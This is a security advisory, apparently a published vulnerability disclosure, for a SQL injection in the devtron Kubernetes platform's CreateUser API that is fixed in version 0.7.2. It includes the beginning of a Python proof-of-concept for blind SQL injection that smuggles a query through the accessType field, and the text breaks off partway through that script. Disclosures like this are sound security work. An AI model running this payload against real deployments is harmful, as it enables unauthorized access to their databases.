devtron is an open source tool integration platform for Kubernetes. In affected versions an authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user). This issue has been addressed in version 0.7.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Affected: Go: github.com/devtron-labs/devtron

### Summary An authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).

### Details The API is CreateUser (/orchestrator/user).

The function to read user input is: https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104

The userInfo (line 104) parameter can be controlled by users.

The SQL injection can happen in the code: https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038

The query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.

The user should be authenticated but only needs minimum permissions: 

### PoC

Demonstrate a blind SQL injection to retrieve the database name:

``` import requests import time import string import argparse

def blind(ip, token, query): url = f"http://{ip}/orchestrator/user" headers = {"token": token} entity = "chart-group" payload = f"'; {query} --"

data = {"id": 111, "email_id": "abcd123@126.com", "superAdmin": False, "roleFilters":[{"team":"", "environment":"", "action": "", "entity": entity, "accessType": payload}]} #"EntityName": "test", "AccessType": "test", "Cluster": "",\"NameSpace": "devtroncd", "Group": "",…
